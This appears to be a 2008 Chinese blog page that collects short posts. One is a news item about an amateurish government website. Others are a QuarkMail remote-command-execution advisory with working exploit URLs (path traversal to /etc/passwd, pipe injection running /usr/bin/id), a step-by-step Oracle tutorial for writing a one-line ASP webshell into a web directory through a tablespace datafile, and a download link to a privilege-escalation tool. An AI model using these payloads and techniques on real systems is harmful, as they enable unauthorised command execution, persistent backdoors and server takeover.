如果纯粹为了技术而实施技术,那就错了。如果没有围绕技术的流程,那只是电子表格,它其实管理不了任何东西。
开始考虑不同的软件时,要确保其功能能实现自己的流程以及当前和将来的首要目标。PMO的规模开始可能很小,不过当看到它给自己公司带来的好处后,可以逐渐扩大规模。同时,选择软件时,应当考虑到将来需求的变化。
要牢记的另一个因素就是集成,使用多款可以彼此集成的工具,那样就能够在公司发展过程中采用新功能,至少能够在这些工具之间轻松传递数据。
最后,应当选择
真正能提供项目管理解决方案、而不是单单提供软件的厂商。

分类: 影音娱乐 标签:

“中国最牛政府网站”蹿红网络

2008年10月12日 没有评论 58 views

今日有网友发帖曝光一个制作简陋的政府网站.短短时间内,这个被戏称为“中国最牛政府网站”的湖南省汉寿县鸭子港乡政府网站及其制作者“肖廷海”在网络上迅速蹿红.
在拥有政府部门专用的gov.cn域名后缀的“鸭子港乡政府”网站上,设置了政府概况、政务公开等栏目.但网站首页的主体部分被大量banner广告及AS学习大全、网页素材及HTML学习素材等内容占据.

访问:湖南省汉寿县鸭子港乡人民政府

与一般的政府公务网站简洁清爽的界面最大的不同点在于,制作者应用了大量炫目的网页特效.以至于有网友在其留言板直指制作者的“初学者水平、土得掉渣”,“雷到了”,但也有网友称其“与那些一板一眼,死气沉沉的政府网站相比这个网站真是让人眼前一亮”.

还有网友跟贴质疑该制作者不严肃对待政府网站页面制作,并指出制作者在页面显眼位置放置大量制作者个人信息及广告.

这个政府网站遭到曝光之后,迅速在网络上蹿红,大量网友登陆该网站查看.短短三个小时之内,该网站的访问量就已经增加了将近50000.

根据我国相关域名管理规定,gov.cn域名的注册申请人必须是政府机关单位,其单位性质应为机关法人.而事业法人(包括政府下属事业单位)、企业法人或社团法人等不能申请gov.cn域名.

文/网易科技
 

我的评价:2个字----稀烂!

分类: 影音娱乐 标签:

快客电邮(QuarkMail)远程命令执行漏洞

2008年10月12日 没有评论 81 views

来自:80Sec

漏洞说明:快客电邮(QuarkMail)是北京雄智伟业科技公司推出的电子邮件系统,被广泛用于各个领域的电子邮件解决方案,其webmail部分使用perl cgi编写,但是80sec在其系统中发现一个重大的安全漏洞,导致远程用户可以在邮件系统上以当前进程身份执行任意命令,从而进一步控制主机或者系统。

漏洞厂商:http://www.ipmotor.com/

漏洞解析:QuarkMail错误地使用perl的open函数以打开文件,实现模板等功能,但是其对用户传入的参数没有做有效的过滤,从而导致一个命令执行漏洞。

漏洞证明:登录进入系统之后访问如下URL
 

http://mail.80sec.com.foo/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../etc/passwd%00&id=2&sort=0&read_flag=yes

即可得到系统账户文件,访问如下URL
 

http://mail.80sec.com.foo/cgi-bin/get_message.cgi?sk=tERZ6WI1&fd=inbox&p=1&l=10&max=2&lang=gb&tf=../../../../../../../usr/bin/id|%00&id=2&sort=0&read_flag=yes

即可以将/usr/bin/id文件打开执行,并且将结果返回,用户就可以利用一序列操作获得系统的完整访问权。

漏洞解决:请等待官方补丁。

分类: 技术文章 标签:

ORACLE 建立数据文件WriteWebShell

2008年10月12日 没有评论 736 views

其实 类似ORACLE 这样强大的数据库,真没必要用到这么土的办法

SQLJ   存储过程写文件也可以,逼于无奈对方机器不支持SQLJ  还有  UTL_FILE包也被干掉了?

那 也可以 使用以下我说的这个方式

SQL> create tablespace kjtest datafile 'e:\website\kj.asp' size 100k nologging ;

表空间已创建。

这里记住了  100K为ORACLE 表空间最小的单位,如果你的一句话SHELL比较大 那可以200K比较稳妥

但是最终建议一句话一定要最最简洁

SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;

表已创建。

一般用 VARCHAR类型已经可以 ,表空间太小了 ,所以不可以 为 CLOB或者 BLOB类型。

SQL> insert into WEBSHELL values('<%execute request("kj021320")%>');

已创建 1 行。

SQL> commit;

提交完成。

提交完成之后就 OK? NO~ 因为数据还没有被 DBWn 进程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE当前表空间

SQL> alter tablespace kjtest offline;

表空间已更改。

到这里 你的 一句话SHELL代码已经 写到 那个文件了

你会发现有这样的 <%execute request("kj021320")%>Z   €Z    的 代码

一句话shell已经OK了

最后使用后记得吧 表空间删除

SQL> drop tablespace kjtest including contents;

表空间已删除。

当然这个方法缺点就是你要知道WEB路径

分类: 技术文章 标签:

Dbshell

2008年10月12日 没有评论 74 views

DB_OWNER权限备份hta到启动项提权的小工具。

下载地址:http://dl.getdropbox.com/u/216079/dbshell.exe

分类: 资源共享 标签: